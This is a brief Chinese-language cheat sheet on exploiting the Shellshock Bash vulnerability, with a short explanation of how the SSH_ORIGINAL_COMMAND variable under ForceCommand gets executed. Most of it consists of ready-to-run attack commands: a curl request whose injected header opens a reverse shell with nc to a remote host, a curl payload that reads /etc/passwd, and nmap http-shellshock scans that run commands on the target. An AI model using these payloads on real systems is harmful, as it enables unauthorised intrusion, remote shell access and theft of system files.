Shellshock 漏洞
利用 Shellshock 漏洞
- 當功能忽略使用者指定的指令,改執行 ForceCommand 的內容時,置換指令就會被執行。
- 使用者的原始指令會被放在 “SSH_ORIGINAL_COMMAND” 環境變數中。若使用者預設 shell 是 Bash,Bash 在啟動時會解析 “SSH_ORIGINAL_COMMAND” 的值並執行其中的指令。
Shellshock 利用指令範例
## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi
## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"
nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x